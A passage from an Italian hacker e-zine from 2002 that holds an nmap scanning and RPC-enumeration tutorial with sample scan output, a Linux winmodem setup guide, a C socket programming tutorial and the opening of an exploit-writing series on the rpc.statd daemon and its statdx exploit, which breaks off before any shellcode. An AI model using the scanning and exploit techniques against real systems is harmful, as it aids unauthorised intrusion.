www.mojodo.it(15.45.54.12) | | The 1518 ports scanned but not show belowe are in state: closed | | | | Port State Service | | 22/TCP Open Ssh | | 25/TCP Open SNMPT | | 515/TCP Open priner | | 6000/TCP Open X11 | | tcp sequence prediction:class=random positive increments | | Difficulty=3728145 | | Good luck | | | | Sequence Members: FA401E9 FA401E9 F720DEB F720DEB 1004486A 1004486A | | Remote operating system guess: Linux 2.2.122-2.2.16 | | Os fingerprint: | | Tseq(class=RI%gcd=1%SI=38E11) | | T1(rESP=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MANNTNW) | | T2(RESP=N) | | T3(RESP=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MANNTNW) | | T4(RESP=Y%DF=N%W=0%ACK=0%Flags=R%Ops=) | | T5(RESP=Y%DF=N%W=0%ACK=SP+%Flags=AR%Ops=) | | T6(RESP=Y%DF=N%W=0%ACK=0%Flags=R%Ops=) | | T7(RESP=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=) | | PU(RESP=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPK=E%UCK=E%ULEN=134% | | DAT=) | | | | Nmap run completed .. 1 ip addres ( 1 host UP ) Scanned in 0 seconds | | | | | | | | [4.4.3] *Individuazione servizi RPC* | | | | Nmap puo` anche essere utilzzato per elencare i servizi RPC | | disponibili. Le normali scansioni delle porte, determinano quali sono | | aperte. Nmap invia quindi un numero massiccio di pacchetti a ciascuna | | porta con conamandi RPC NULL per determinare se si tratta di un | | servizio RPC, e in questo caso, i protocolli e le versioni in | | esecuzione.I risultati delle scansioni RPC saranno elencati fra | | parentesi dopo la porta elencata. Di seguito vi porto un esempio di | | una scansione Nmap effettuare a un host su cui girano diversi servizi | | RPC. | | | | advanced@mojodo.it# rpcinfo -p mojodo.it | | rpcinfo: can't contact portmapper: RPC: Remote System Error | | - Connection refused | | | | advanced@mojodo.it# nmap -sS -sR mojodo.it | | | | Starting Nmap v.2.54 by Fydore@insecure.org www.insecure.org/nmap | | Interesting ports on mojodo.it (124.12.8.16) | | | | Port State Services (RPC) | | 21 Open Ftp | | 22 Open Ssh | | 80 Open http | | 111 Filtered sunrpc | | 139 Open netbios-ssn | | 1521 Open ncube-lm | | 2049 Open lockd (nlockmgr V4-1) | | 32771 Open sometimes-rpc5 (status V1) | | | | Notate che, in questo sistema, e` stata filtrata la porta 111 e che | | rpcinfo non ha potuto connettersi a portmapper.Nmap e` stato comunque | | in grado di identificare servizi RPC contattando direttamente ciascun | | servizio e richiedendo l'identificazione ai servizi. | | | | | | | | | | [5] * 3nD * | | | | Uff non ce la facevo più :) finalmente ho finito l'articolo... chiedo | | scusa se sono stato troppo sintetico nell'ultima parte... se volete | | chiarimenti fatemelo sapere. Ringrazio ancora valk e tutti quelli ke | | credono in mojodo,e il s0ftpj. | | Per commenti, complimenti,bestemmie,offese,parolaccie scrivetemi!!!! | | Un grosso saluto a tutti! | | | | | | Ade :*** | | | | http://www.zone-h.org | | http://www.mojodo.it | | http://advanced.too.it | | | | */*/ ADvAnCeD` */*/ | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LiNUX] #06 - 25/04/2002 | | iN SHELL WE TRUST - PARTE 2 [lesion] 0x09/0x1D | +--------------------------------------------------------------------------+ | | | allora allora vediamo un po'... | | avete il vostro bellissimo winmodem e nn riuscite a connettervi con il | | vostro amato SO? | | mmmmm male male. | | postulato 1: i winmodem sono il male; | | postulato 2: noi sconfiggeremo il male; | | postulato 3: ma prima dobbiamo imparare a conviverci finke' ce ne | | saranno ankora in giro. | | | | personalmente ho provato con un : | | | | [16:20:03]~/# lspci | | ..snip.. | | 00:0d.0 Communication controller: Lucent Microelectronics F-1156IV | | WinModem | | (V90, 56KFlex) (rev 01) | | ..snip.. | | [16:20:24]~/# | | | | e ora quindi vi esporro' come ho fatto a far funzionare questo modem. | | in qualsiasi caso cmq, le operazioni nn dovrebbero essere molto | | differenti. cmq prima di tutto, andate su www.linmodems.org e sul sito | | della casa costruttrice del modem, ke magari, pregando in cinese davanti | | alla statuina di sant'antonio incoronato a pasqua, inginokkiati sui ceci | | cosparsi di sale a 80gradi, forse forse,ha rilasciato i sorgenti dei | | driver o i binari per il nostro caro amato sistema operativo linuxoide. | | quindi, una volta trovati sti moduli (i cazzo di .o in sostanza, o i | | sorgenti se nn trovate i binari..anzi al contrario, i sorci son sempre | | mejo) impakkettati in tar.gz, li si scompatta : | | | | tar xvzf ltmodem-6.00c2.tar.gz | | | | (il nome nn deve essere quello, e' cosi' nel mio caso...) | | si joina nella directory appena creata e si procede con un | | | | ./configure && make && make install | | | | tutto questo ovviamente nel caso aveste i sorgenti, altrimenti ci | | dovrebbe essere qlcsa tipo ./install.sh o ./autoinstall vedete voi, e | | ricordate ke probabilmente c'e' un file kiamato README, tradotto anke | | leggimi, ke vuol proprio dire ke dovete leggerlo.... | | se nn c'e' niente di tutto cio', andate di modprobe modulo.o e nel caso | | funzioni provvedete a fare in modo ke lo cariki all'avvio. | | ok qui da me, dopo una serie illimitata di cose da leggere, mentre tenta | | di compilare i moduli mi dice ke il kernel ke sta girando ha il supporto | | SMP (simmetric multi processing?) e ke nn e' bene usare i moduli con | | questa cosa attivata e quindi si riufiuta di compilarmeli. | | dopo circa 3mila bestemmie mi metto contro voglia a ricompilare il | | kernel, ma si' dai, passiamo al 2.4 ... addio caro amato 2.2.19 sniff... | | :( metto il cd della slak, installpkg /cdrom/slakware/k1/lnx245.tgz per | | installare i sorgenti del kernel ke ci si sta' apprestando a | | ricompilare, poi un "cd /usr/src/", ke e' la dir dove ha copiato i | | sorci, un "rm linux" | | seguito da un "ln -s linux-2.4.5 linux" per cambiare il link e spostarlo | | sui nuovi sorci del kernel, un "cd linux" ed un "make menuconfig" per | | fare tutti i settaggi ke + ci aggradano, ricordandoci di levare il | | supporto SMP. | | appena avete finito di fare i vostri cazzeggi col kernel (nn e' questa | | la sede x spiegare questi virtuosismi tecnici :)) ) potrete riprendere | | alla compilazione dei moduli. | | ok funziona, ora faccio ./ltinst2 come suggeritomi e ./autoinstall e vai | | di reboot. | | ora via di minicom per provare se lo vede, e quindi minicom -s da root. | | un veloce cambiamento alla configurazione (serial port setup) per | | cambiare il serial device, ke gli script di installazione dei moduli | | hanno gia' | | provveduto a linkare a /dev/modem. poi salviamo la configurazione (save | | as dfl) e poi usciamo (exit from minicom). riapriamo minicom (sempre con | | l'opzione -s), premiamo su exit e vediamo ke tenta di inizializzare il | | modem. se vediamo qlcsa tipo: | | AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0 | | OK | | siamo a cavallo, altrimenti nn proprio. | | ricontrollate la configurazione della porta seriale nell opzioni di | | minicom, altrimenti controllate se il device /dev/modem e' linkato al | | device effettivo del modem (nel mio caso e' /dev/ttyLT0) e provate a | | mettere quest'ultimo nelle opzioni di configurazione.. | | dopo cio', andate pesantemente di pppsetup (solo gli slakwaristi | | ovviamente, per gli altri, solo calci in faccia hihhii) e provate un | | ppp-go. per vedere se effettivamente il modem ci sta dentro, consiglio | | un tail -f /var/log/messages (ovviamente dovete avere syslogd avviato | | altrimenti nada, ed essere root) ke vi mostra quel ke fa' pppd e se vede | | il modem. | | se vi trovate di fronte a problemi quali "NO DIALTONE" o altri, provate | | a leggere la documentazione sicuramente inclusa dentro al pakketto dove | | avete preso i moduli, altrimenti cercate in rete..c'e' parekkia roba. | | ah ultima cosa, ecco i modem supportati coi rispettivi links dove | | guardare dopo aver guardato su www.linuxmodems.org ovviamente | | (ovviamente nn saranno tutti, ma un aiutino nn guasta mai): | | | | -IBM Mwave (Thinkpad 600E) | | http://oss.software.ibm.com/developer/opensource/linux/projects/mwave/ | | | | -Lucent LT | | http://www.close.u-net.com/ltmodem.html | | | | -ESS | | http://walbran.org/sean/linux/stodolsk/) | | x ISA: http://linmodems.technion.ac.il/packages/essisa111.zip | | x PCI: http://linmodems.technion.ac.il/packages/esspci111.zip | | | | -PCTel | | http://www.idir.net/~gromitkc/winmodem.html#drivers | | x kernel 2.4 http://walbran.org/sean/linux/stodolsk/ | | | | -Conexant/Rockwell HSF | | http://www.olitec.com/pci56kv2.html | | http://redrival.com/btifaq/hsflinux.htm (piccola guida) | | | | -Intel HaM | | http://developer.intel.com/design/modems/support/license/r-333-5.htm | | | | -Intel L-MD5620DT | | http://linmodems.org/CLModem-0.3.0.tar.gz | | http://www.idir.net/~gromitkc/clm/CLModem-0.3.0+gg.tar.gz | | (vedi pure qusto) | | | | -3Com Mini-PCI | | http://mobilix.org/minipci_linux.html (prova qui....) | | | | -AMR | | http://linmodems.org/cgi-bin/ezmlm-cgi?1:mss:2768:200102:edbonibpdjfpn | | fhbmhel | | | | ecco tutto, o anke no. | | lesion@autistici.org | | bacetti liberi | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LiNUX] #06 - 25/04/2002 | | TCP/iP & SOCKET iN LiNUX [SNHYPER] 0x0A/0x1D | +--------------------------------------------------------------------------+ | | | ########################## | | ## TCP/IP & SOCKET IN LINUX ## | | ########################## | | | | [[ Tutorial under GNU General Public License ]] | | | | | | In questo tute parleremo, come si vede dal titolo..., della | | programmazione socket in Linux. Quindi come creare applicazioni | | client/server che utilizzano i socket. Il tute e' volutamente diretto ai | | newbie che non conoscono la programmazione dei socket, ma che abbiano | | come prerequisito almeno la conoscenza del mitico linguaggio C e la | | conoscenza dei protocolli di comunicazione. | | Se non possedete questi prerequisiti...vi consiglio: | | | | @Linguaggio C: | | - "Guida completa al C" - Apogeo | | - il mitico "K&R" - Kernigham e Ritchie | | @Protocolli di rete: | | - "Guida completa al Tcp/Ip" - Apogeo | | - altro mitico "Tcp/Ip illustrated" - R. Stevens (volume 1 per iniziare | | @Approfondimento e studio programmazione socket: | | - mitico "Unix network programming" - R. Stevens (edizione 2 volume 1 | | per iniziare) | | | | Come dovreste sapere Tcp e Udp sono protocolli di trasmissione. Tcp e' | | un protocollo orientato alla connessione e con garanzia di consegna. Udp | | il contrario. La programmazione socket utilizza sia Tcp che Udp. Tcp e | | la programmaizone socket sono stati utilizzati sui primi sistemi Unix. | | I socket del dominio Unix erano stati sviluppati per consentire la | | comunicazione tra programmi Unix, mentre i piu' recenti socket hanno | | fornito le basi di sviluppo di socket nei sistemi Unix recenti, Windoze, | | OS/2, Mac. | | | | In questo tute esamineremo le principali system call per la | | realizzazione di diversi programmi d'esempio: | | | | - socket() | | - bind() | | - listen() | | - connect() | | - accept() | | - recv() | | - send() | | | | /-----------------\ | | | 1) Socket() | | | | - man socket | | | \-----------------/ | | | | Un socket e' praticamente un tunnel di comunicazione dati. Nel momento | | in cui due processi sono connessi attraverso un socket, useranno un | | descrittore di socket per le operazioni di lettura/scrittura dal socket. | | La socket() ha i seguenti argomenti: | | | | - int domain | | - int type | | - int protocol | | | | Esistono diversi tipi di domini socket,definiti in | | /usr/include/sys/socket.h oppure in /usr/include/bits/socket.h. | | Questi sono: | | | | - AF_UNIX /* protocolli interni di unix */ | | - AF_INET /* protocolli Arpa di internet, ovvero i piu' usati */ | | - AF_ISO /* protocolli della International Standard Organization */ | | - AF_NS /* protocolli di xerox network system | | | | Per quanto riguarda la tipologia di socket troviamo: | | | | - SOCK_STREAM /* connessione full-duplex, sequenziata, | | a flusso continuo dati */ | | - SOCK_DGRAM /* tipo connectionless e non affidabile (udp) */ | | - SOCK_RAW /* Usato per i protocolli di rete interni */ | | - SOCK_SEQPACKET /* usato solo con dominio AF_NS */ | | - SOCK_RDM /* non ancora implementato */ | | | | Il maggiormente usato è SOCK_STREAM. | | Per quanto rguarda il terzo argomento della socket() , ovvero "int | | protocol", si utilizza il numero di protocollo. Il valore zero sara' | | quello usato negli esempi ed in molti programmi. | | | | /-----------------\ | | | 2) Bind() | | | | - man bind | | | \-----------------/ | | | | La bind() ha la funzione di associare un processo ad un socket ed e' | | solitamente utilizzata per inizializzare un socket in processi server, | | per connessioni di client in entrata. I suoi argomenti sono: | | | | - int socket | | - struct sockaddr *my_addr | | - int my_addr_lenght | | | | Esaminiamoli nel dettaglio: | | | | "int socket" e' il valore di socket restutuito da una precedente | | chiamata alla socket(). | | | | "struct sockaddr *my_addr" e' l'indirizzo di una struttura di tipo | | "sockaddr" definita nel file di include /usr/include/linux/socket.h nel | | seguente modo: | | | | struct sockaddr | | { | | unsigned short sa_family; /* address family, AF_XXX */ | | char sa_data[14]; /* 14 bytes di protocol address */ | | }; | | | | Questo tipo di struttura deve essere allocata e passata come secondo | | argomento della bind(). Per esempio nel programma che vedremo dopo, la | | sockaddr e' inizializzata come: | | | | struct sockaddr_in sin; | | bzero(&sin, sizeof(sin)); | | sin.sin_family = AF_INET; | | sin.sin_addr.s_addr = INADDR_ANY; | | sin.sin_port = htons(port); | | bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin); | | | | La sockaddr_in e' uguale alla sockaddr tranne che per la singola | | nominazione dei sotto-elementi per l'impostazione dell'indirizzo di | | protocollo. | | | | /-----------------\ | | | 3) Listen() | | | | - man listen | | | \-----------------/ | | | | Terminata la creazione del socket con la socket() e la sua associazione | | ad un processo con la bind(), un processo puo' chiamare la listen() | | intendendo la disponibilita' alla ricezione di connessioni entranti. | | I suoi argomenti sono: | | | | - int socket | | - int input_queue_size | | | | Il primo argomento e' il valore restituito da una precedente chiamata | | alla socket() (dopo che e' stata chiamata a sua volta dalla bind); | | mentre il secondo, importante, assegna la dimensione della coda di | | connessioni entrante. La maggior parte delle volte si usa la funzione | | fork() per generare un processo figlio che gestisce in "parallelo" le | | connessioni entranti. La fork viene usata quando si necessita di | | affrontare molte connessioni entranti. Per la maggior parte di semplici | | programmi e' comunque solitamente adeguato e piu' semplice processare le | | funzioni connessioni entranti una alla volta e assegnare alle dimensioni | | della coda entrante una dimensione abbastanza grande. | | | | /-----------------\ | | | 4) Accept() | | | | - man accept | | | \-----------------/ | | | | Questa funzione definisce lindirizzo remoto ed il processo remoto(dal | | lato server). Viene eseguita dal server prima dopo la listen e pone il | | processo in attesa di una connessione da parte di un client. La accept, | | prende una connessione che è in testa alla coda specificata dalla listen | | e crea un altro socket (canale privato) con le stesse caratteristiche | | del socket precedente. Se non ci sono richieste in sospeso nella coda, | | la accept blocca il processo chiamante in attesa di una connessione. | | I parametri pasati sono: | | | | - sock_descriptor | | - struct client_addr | | - longaddr Contiene la lunghezza della struttura dell'indirizzo del | | processo connesso (client). | | | | Il primo argomento è il solito descrittore di socket. Secondo la | | struttura ove verrà inserito l'indirizzo del client Il longaddr contiene | | la lunghezza della struttura dell'indirizzo del processo connesso | | (client). Viene prima posto uguale alla dimensione della struttura e | | successivamente prende il valore della dimensione della struttura | | effettivamente occupata dal client connesso. | | Questa funzione restituisce tre valori: | | | | - un intero positivo che indica il nuovo socket creato | | - un intero negativo che indica che la funzione non è andata a buon fine | | - scrive in client_indir lindirizzo del client appena connesso. | | | | /-----------------\ | | | 5) Connect() | | | | - man connect | | | \-----------------/ | | | | La connect() ci serve per connettere un socket locale ad un servizio | | remoto. Tipico uso e' quello di specificare le informazioni del pc host | | per un processo server in esecuzione su un pc remoto. | | I suoi argomenti sono: | | | | - int socket | | - struct sockaddr *server_address | | - int server_address_lenght | | | | Il primo e' il solito valore di ritorno di una chiamata alla socket(). | | Per la struttura sockaddr, il primo campo dati permette di specificare | | la family (tipo di connessione) prima di chiamare la connect() : | | | | - AF_UNIX /* socket del dominio unix ( per alte prestazioni) */ | | - AF_INET /* protocolli IP di internet (la + usata) */ | | - AF_IPX /* novell ipx (usato spesso in reti windoze) */ | | - AF_APPLETALK /* protocollo appletalk */ | | | | Per altri tipi meno usati, vedete la man della funzione ( man connect). | | Il secondo elemento della sockaddr e' un blocco di dati di 14 bytes per | | specificare l'indirizzo di protocollo. | | | | /-----------------\ | | | 6) Recv() | | | | - man recv | | | \-----------------/ | | | | La recv() e' usata per ricevere messaggi da un socket connesso ad un | | altro mediante una connect(). Due altri chiamate di cui parleremo piu' | | avanti sono recvfrom() e recvmsg() che servono per ricevere messaggi dal | | socket con protocolli non orientati alla connessione ( UDP). | | I suoi argomenti sono: | | | | - int socket | | - void *buf | | - int buf_len | | - unsigned int flags | | | | Il socket definito nel primo argomento deve essere gia connesso ad una | | porta con la connect(). Il secondo argomento e' un puntatore all'area di | | memoria nella quale verra' memorizzato il messaggio ricevuto. Il terzo | | argomento da le dimensioni del blocco di memoria ( in byte di 8 bit) | | Il quarto descrive le flag di funzionamento: | | | | - MSG_OOB /* dati di processo fuori banda (per msg di controllo ad | | elevata priorita').Solitamente si usa lo zero per msg normali */ | | - MSG_PEEK /* Peek-ka il msg entrante senza leggerlo veramente */ | | - MSG_WAITALL /* aspetta che il buffer di ricezione sia completo */ | | | | /-----------------\ | | | 6) Send() | | | | - man send | | | \-----------------/ | | | | La send() e' usata per inviare dati ad un altro programma utilizzando un | | socket. Sia le applicazioni client che quelle server utilizzano questa | | funzione. Le client si servono di send() per inviare richieste di | | servizi alle applicazioni remote e le server per inviare | | i dati richiesti. | | I suoi argomenti sono: | | | | - int socket | | - const void *message_data | | - int message_data_lenght | | - unsigned int flags | | | | Il primo argomento, come al solito, e' il valore di socket restituito da | | una sua chiamata. Il secondo argomento contiene i dati che devono essere | | inviati. Il terzo argomento specifica le dimensioni, in byte di 8 bit, | | dei dati del messaggio. Il quarto e' quasi sempre zero anche se possono | | essere utilizzati anche i seguenti valori: | | | | - MSG_OOB /* per i dati fuori banda (Out Of Band) */ | | - MSG_DONTROUTE /* non utilizza l'instradamento */ | | | | /-------------------------------------------------------------------\ | | | Semplice raffigurazione esemplificativa di gestione delle funzioni| | | \-------------------------------------------------------------------/ | | ____________ | | | SOCKET() | | | |__________| | | | | | \|/ | | ____________ | | Porte ben conosciute | BIND() | | | [ Well-Known port ] |__________| | | | | | \|/ | | ____________ | | | LISTEN() | | | |__________| | | | | | ___________ \|/ | | | SOCKET() | ____________ | | |__________| | ACCEPT() | | | \|/ |__________| | | ____________ | | | | CONNECT()| /____ \|/ | | |__________| \ \ Stoppa finche' non riceve | | | \ una connessione dal client | | | \ | | | \|/ \_____3 way handshake___________\ \|/ | | ____________ Instaurazione della conn. __/_________ | | _\ | WRITE() | | READ() | | | | / |__________| ______Data Request _________________\ |__________| /_ | | | / | \ | | | | \|/ | | | | Richiesta processo | | | | | | | | | \|/ | | | | ___________ ____________ | | | |__ | READ() | /_______Data reply____________________ | WRITE() |___| | | |_________| \ |__________| | | | | | | \|/ \|/ | | ____________ ____________ | | | CLOSE() |_______Notifica di EoF_______________\ | READ() | | | |__________| (EoF=End of File) / |__________| | | | | | \|/ | | ____________ | | | CLOSE() | | | |__________| | | | | p.s. sbattimento sto ascii... | | | | /------------------------------------------------------------------\ | | | Realizziamo la nostra prima applicazione client/server d'esempio | | | \------------------------------------------------------------------/ | | | | Creeremo un server (AppServer.c) in ascolto per ricevere richieste da un | | socket (porta 8000). Qualunque programma, come il client che creeremo | | (AppClient.c), puo' connetersi al nostro server ed inviare fino a 16.384 | | byte di dati al server stesso. Il server trattera' i dati in arrivo come | | caratteri ASCII e li converterà in maiuscolo prima di restituirli al | | client. Per il server non utilizzeremo la fork(), bensi' la tipologia a | | coda d'ingresso detta prima, capace di un backlog di 20 richieste di | | servizio. Se notate bene le 2 applicazioni non sono complete, sono il | | cuore ed oltre del programma, ma mancano i file ddi include e la | | dichiarazione di alcune variabili, che si presuppone sappiate fare... | | Comunque allegati troverete altri 2 sorgenti completi di tipi di | | applicazioni client/server. I nomi di alcune variabili e di alcune | | istanze delle strutture (per velocita' e facilita' di esecuzione), ma i | | procedimenti adottati sono gli stessi. | | ________________________________________________________________________ | | | | <-*-><-*-><-*-><-*-><-*-><-*-> | | <-*-> AppServer.c <-*-> | | <-*-><-*-><-*-><-*-><-*-><-*-> | | | | /* Creeremo un socket permanente per la ricezione di richieste di | | servizi; quando un nuovo client si connette al server un nuovo socket | | temporaneo viene aperto tre client e server. Le strutture dati che | | andremo ad usare supportano sia socket permanenti che socket temporanei. | | */ | | | | struct sockaddr_in sin ; | | struct sockaddr_in pin ; | | int sock_descriptor ; | | int temp_sock_descriptor ; | | int address_size ; | | | | /* Ora andiamo a definire il descrittore del socket */ | | | | sock_descriptor = socket(AF_INET, SOCK_STREAM, 0) ; | | | | /* Ora farciremo la struttura sockaddr_in sin */ | | | | bzero(&sin, sizeof(sin)); | | sin.sin_family = AF_INET ; | | sin.sin_addr.s_addr = INADDR_ANY ; | | sin.sin_port = htons(8000); /* decidiamo per la porta 8000 */ | | | | /* a questo punto bindiamo la il nuovo socket sulla 8000 */ | | | | bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin)); | | | | /* ora e' necessario invocare la funzione listen() del nuovo socket | | sulla 8000 */ | | | | listen(sock_descriptor, 20); /* backlog di 20 connessioni */ | | | | /* a questo punto faremo entrare il prog in un loop infinito in attesa | | di connessioni */ | | | | while(1) | | { | | | | /* prendo un socket temporaneo per gestire le richieste del client */ | | | | temp_sock_descriptor = accept(sock_descriptor, (struct sockaddr | | *)&pin, &address_size); | | | | /* ricevo i dati dal client */ | | | | recv(temp_sock_descriptor, buf, 16384, 0); | | | | /* ........ */ | | /* ...qui protremmo processare le richieste del client... */ | | /* ........ */ | | | | /* ora ritorniamo i dati al client */ | | | | send(temp_sock_descriptor, buf, len, 0); | | | | /* adesso chiudiamo il socket temporaneo, dato che abbiamo finito */ | | | | close(temp_sock_descriptor); | | | | } | | ________________________________________________________________________ | | | | Nel nostro programma il server rimane in attesa di connessioni di socket | | client entranti per un tempo indefinito. Se il programma viene | | eliminato, il socket permanente viene chiuso automaticamente dal sistema | | operativo. Sotto il nostro caro Linux la chiusura del socket avviene | | istantaneamente, mentre con l'altrettanto caro Windoze (caro nel senso | | di costoso ;) la ciusura avviene tra i 5 e i dieci secondi. | | | | ________________________________________________________________________ | | | | <-*-><-*-><-*-><-*-><-*-><-*-> | | <-*-> AppClient.c <-*-> | | <-*-><-*-><-*-><-*-><-*-><-*-> | | | | /* Il nostro client creerà un socket temporaneo per l'invio di una | | richiesta di servizio al server. Useremo le strutture seguenti */ | | | | int socket_descriptor ; | | struct sockaddr_in pin ; | | struct hostent *server_host_name; | | | | /* il nostro client deve conoscere l'indirizzo IP dell'host. i programmi | | d'esempio sono eseguibili in Linux facendo riferimento all'indirizzo IP | | standard del pc locale, 127.0.0.1. La funzione usata per ricavare le | | informazioni sul pc host e' la seguente */ | | | | server_host_name = gethostbyname( "127.0.0.1" ); | | | | /* ora che abbiamo a disposizione le info sul pc host possiamo farcire | | la "sockaddr_in pin" */ | | | | bzero(&pin, sizeof(pin)); | | pin.sin_family = AF_INET ; | | pin.sin_addr.s_addr = htonl(INADDR_ANY) ; | | pin.sin_addr.s_addr = ((struct in_addr *)(server_host_name->h_addr)) | | ->s_addr; | | pin.sin_port = htons(port) ; | | | | /* ora possiamo creare un socket con l'host*/ | | | | socket_descriptor = socket(AF_INET, SOCK_STREAM, 0); | | | | /* ed ora ci connettiamo all'host usando il socket*/ | | | | connect(socket_descriptor, (void *)&pin, sizeof(pin)); | | | | /* se il server fosse occupato, la chiamata rimane in attesa. Quando la | | chiamata termina e' possibile inviare i dati al server */ | | | | send(socket_descriptor, "test data", strlen("test data") + 1, 0); | | | | /* la prossima chiamata, alla recv(), attende una risposta dal server | | (buf e' una variabile di 8192 byte) */ | | | | recv(socket_descriptor, buf, 8192, 0); | | | | /* buf contiene i dati restituiti dal server. | | Ora possiamo chiudere la connessione di socket temporanea col server | | */ | | | | close(socket_descriptor); | | ________________________________________________________________________ | | | | Per testare l'esecuzione delle nostre applicazioni, possiamo aprire 2 | | xterm (o due konsole), una per il server e l'altra per il client. | | Il server inizia digitando: | | | | AppServer | | | | il client puo' essere eseguito digitando: | | | | AppClient "Sono il test data che arrivera' al server!" | | | | Per interrompere il server.. CTRL^C | | L'output generato dal programma server dovrebbe essere il seguente: | | | | snhyper@Charlotte1:/$ AppServer | | | | Accepting connection ... | | received from client:Sono il test data che arrivera' al server! | | | | L'output generato dal client invece: | | | | snhyper@Charlotte1:/$ AppClient "Sono il test data che arrivera' al | | server!" | | | | Sending message Sono il test data che arrivera' al server! to server | | ..sent message.. wait for response ... | | | | Response from server: | | | | SONO IL TEST DATA CHE ARRIVERA' AL SERVER! | | | | Possiamo anche utilizzare un browser web per collegarci al nostro | | server, basta aprire ad esempio Netscape e digitare come indirizzo: | | | | http://127.0.0.1:8000 | | | | In questo caso, 127.0.0.1, e' l'indirizzo IP locale e 8000 il num della | | porta che avevamo selezionato. Il browser, come dovreste sapere, | | inviera' una richiesta al server pensando sia un server web. Il server | | accetta la richiesta, converte tutti i caratteri in maiuscolo, e | | restituisce i dati al browser. | | Sul browser dovrebbe apparirvi: | | | | GET / HTTP/1.0 CONNECTION: KEEP-ALIVE USER-AGENT: MOZILLA/4.5 [EN] | | (X11; I; LINUX 2.4.5 I686) | | HOST:127.0.0.1:8000 ACCEPT: IMAGE/GIF, IMAGE/X-XBITMAP, IMAGE/JPEG, | | IMAGE/PJPEG, IMAGE/PNG, | | */* ACCEPT-ENCODING: GZIP ACCEPT-LANGUAGE: EN | | ACCEPT-CHARSET: ISO-8859-1,*,UTF-8 | | | | Figo vero? | | Provate a collegarvi anche con altre applicazioni. | | Questo serve anche molto per capire i tipi di richieste, e il | | funzionamento dei protocolli e delle reti. | | | | p.s. I sorgenti completi e compilabili li trovate allegati nel presente | | pacchetto. | | | | | | * Byez && Thanks to: FuSyS, Nobody, Naif, Nextie, Tritemius, Morpheo, | | Raptor, MoF, SirPsychoSexy,UIHA. E chi manca... | | | | * Fucks to : la maggior parte dei newbie che stanno crescendo, | | cercando di farsi strada a spallate e farsi vedere, senza avere la | | minima cognizione della passione, del tempo, dei tentativi e di tutto | | cio' che sta dietro la figura di un hacker, etico o no che sia. A tutti | | coloro che hanno perso *la visione magica* che sta dietro al codare, al | | perdere ore per configurare le macchine, al passare nottate a testare un | | prog che facilmente andra' in mano a molti di questi, alle ore sui libri | | etc.. Ci sarebbero molte cose da dire ma.. a volte e' meglio ignorare. | | Preferisco passare quel tempo ad aiutare che ha bisogno ( o a farmi | | aiutare), ad imparare cose nuove etc... | | | | "NON NELLA CONOSCENZA STA IL POTERE, BENSI' | | NELL'ACQUISIZIONE DELLA CONOSCENZA!" | | | | | | ..::SNHYPER::.. | | snhyper@hotmail.com | | Linux registered user #249109 | | Linux registered machine #133922 | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [LiNUX] #06 - 25/04/2002 | | LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD [xyzzy] 0x0B/0x1D | +--------------------------------------------------------------------------+ | | | ovvero | | | | come scriversi il proprio exploit personale in tre puntate (...o forse | | piu' :) | | | | ***************************** Quarta puntata ************************** | | | | | | | | 5. Lo "shellcode" | | | | | | "...gia', ma se possiamo saltare dove vogliamo nella esecuzione del | | processo, perche' non fargli eseguire codice fornito da noi stessi?" | | (...mica male, vero? ;) | | | | e' probabilmente l'interrogativo che molti si saranno posti... | | effettivamente, se si riesce a controllare in qualche modo l'esecuzione | | di un programma saltando all'indirizzo che vogliamo, perche' non | | inserire ad un certo indirizzo di memoria del codice (che d'ora in poi | | chiameremo familiarmente "shellcode") scritto da noi e saltare proprio a | | quell'indirizzo? | | | | Ed infatti e' proprio questo aspetto il piu' interessante, non tanto in | | termini di difficolta' tecnica quanto per gli aspetti legati ai vincoli | | che il codice in questione deve rispettare per potere essere eseguito | | con efficacia. | | | | Nei punti successivi analizzeremo brevemente proprio questi vincoli ed i | | metodi posti in essere per risolverli; una trattazione davvero | | interessante dal punto di vista tecnico, credetemi ;) | | | | Passeremo poi ad analizzare un caso concreto: l'exploit statdx, un | | programmino che non molto tempo fa e' stato di grande utilita' per | | coloro che volevano provare a "violare" i sistemi linux basati sul | | demone rpc.statd di alcune distribuzioni linux, tra le quali fa spicco | | la Red Hat 6.2 | | | | In ultimo, un piccolo punto di orgoglio: i miei dieci eurocent di | | contributo. Durante l'analisi proprio dello shellcode di statdx ho | | potuto rendermi conto di un errore di programmazione che non sempre | | permetteva un accesso alla shell di root, ma anzi abbastanza spesso dava | | come risultato il crash del demone senza alcuna possibilita' di recupero | | funzionale e, cosa piu' importante, senza fornire alcun accesso | | all'attaccante. Un rapido scambio di messaggi di e-mail con l'autore ha | | potuto mettere in evidenza che si trattava effettivamente di un "bug" | | del codice. E' stato molto istruttivo per me potermi confrontare con | | questi aspetti. | | | | Ok, bando alle ciance: andiamo a cominciare! :) | | | | | | | | 5.1. posizionamento dello shellcode | | | | Uno dei principali problemi ai quali si va incontro quando si vuole fare | | eseguire ad un programma del codice fornito da noi e' (ma guarda un po' | | ;) proprio il "dove metterlo". Non abbiamo accesso ai sorgenti del | | programma (intesi come i file sorgenti sulla macchina remote) e tanto | | meno ai file su disco in cui e' memorizzato il codice eseguibile del | | programma stesso, quindi non ci e' certo possibile intervenire su tali | | oggetti per "nascondere" porzioni di codice aggiuntivo. L'unica | | possibilita' che abbiamo e' proprio quella di "iniettare" del codice | | utilizzando la sola strada a noi concessa: i dati in ingresso. E, se | | guardiamo bene, questa e' anche la strada che abbiamo usato per | | realizzare il "buffer overflow" che ci ha permesso di dirottare | | l'esecuzione, quindi perche' non usare lo stesso metodo per inserire lo | | shellcode? | | | | Inviando dei dati opportunamente formattati possiamo memorizzare sullo | | stack dei valori che, ironia del destino (), rappresentano proprio | | del codice eseguibile... | | | | Esistono, ovviamente, dei vincoli e delle limitazioni, ma con un po' di | | buona volonta' possiamo tenerne conto e risolverli anche in maniera | | elegante (come vedremo). | | | | Passiamo allora ad elencare i principali 